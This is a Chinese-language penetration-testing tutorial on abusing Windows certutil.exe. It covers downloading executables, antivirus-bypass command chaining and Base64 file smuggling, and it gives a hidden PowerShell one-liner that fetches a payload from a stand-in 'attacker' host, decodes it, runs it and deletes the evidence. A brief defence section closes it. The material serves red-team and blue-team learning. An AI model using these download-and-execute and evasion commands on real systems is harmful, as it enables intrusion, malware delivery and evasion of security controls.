关于certutil的探究
字数 957 2025-08-05 08:19:06
Certutil工具在内网渗透中的高级应用
1. Certutil概述
Certutil.exe是Windows系统自带的合法命令行程序,主要用于管理Windows证书服务。微软官方将其描述为:
- 用于转储和显示证书颁发机构(CA)配置信息
- 配置证书服务
- 备份和还原CA组件
- 验证证书、密钥对和证书链
然而,这个合法工具已被广泛滥用于恶意用途,在内网渗透中主要利用其下载、编码、解码和替代数据流等功能。
2. Certutil下载文件技术
基本下载命令
certutil -urlcache -split -f http://ip/artifact.exe
参数解析
-f:覆盖现有文件,后跟要下载的文件URL-split:保存到当前路径(不加此参数则下载到默认路径)-URLCache:显示或删除URL缓存条目
绕过杀软拦截方法
- 分步执行法:
certutil
certutil -urlcache -split -f http://ip/artifact.exe
- 分隔符法:
certutil & certutil -urlcache -split -f http://ip/artifact.exe
certutil | certutil -urlcache -split -f http://ip/artifact.exe
文件重命名
certutil & certutil -urlcache -split -f http://ip/artifact.exe newname.exe
缓存管理
- 查看缓存:
certutil -urlcache *
- 删除缓存:
certutil -urlcache * delete
- 下载时自动删除缓存:
certutil & certutil -urlcache -split -f http://ip/artifact.exe delete
3. Certutil Base64加解密技术
应用场景
当内网穿透时遇到代理软件上传限制或杀软限制文件大小时使用
基本流程
- 本地编码:
certutil -encode source.exe encoded.txt
-
分块传输(使用Notepad++等工具分割大文件)
-
靶机合并文件:
copy c:\*txt c:\combined.txt
- 靶机解码:
certutil -decode combined.txt final.exe
文件分割技巧(Notepad++)
- 编辑 > 开始/结束选择
- Ctrl+G跳转到指定行
- 再次点击开始/结束选择完成选择
4. Certutil校验Hash值
命令格式
certutil -hashfile filename.ext ALGORITHM
支持的算法
certutil -hashfile mimikatz.exe MD5 # 检验MD5
certutil -hashfile mimikatz.exe SHA1 # 检验SHA1
certutil -hashfile mimikatz.exe SHA256 # 检验SHA256
5. Certutil配合PowerShell内存加载
基本流程
- 修改PowerShell策略:
Set-ExecutionPolicy Unrestricted
-
使用混淆框架(如Invoke-CradleCrafter)生成Payload
-
编码Payload:
certutil -encode payload.txt payload.cer
- 靶机执行:
powershell.exe -Win hidden -Exec Bypass add-content -path %APPDATA%\payload.cer (New-Object Net.WebClient).DownloadString('http://attacker/payload.cer'); certutil -decode %APPDATA%\payload.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\payload.cer
6. 防御建议
- 监控certutil.exe的异常使用,特别是与网络相关的参数组合
- 限制普通用户对certutil.exe的执行权限
- 对Base64编码的大文件传输保持警惕
- 实施严格的PowerShell执行策略
- 部署能够检测Living-off-the-Land二进制文件(LOLBin)滥用的安全解决方案
7. 总结
Certutil作为Windows原生工具,在内网渗透中具有多种用途:
- 文件下载与传输
- Base64编码/解码绕过限制
- 文件完整性校验
- 配合PowerShell实现内存加载
了解这些技术有助于红队进行隐蔽操作,同时也帮助蓝队更好地防御此类攻击手法。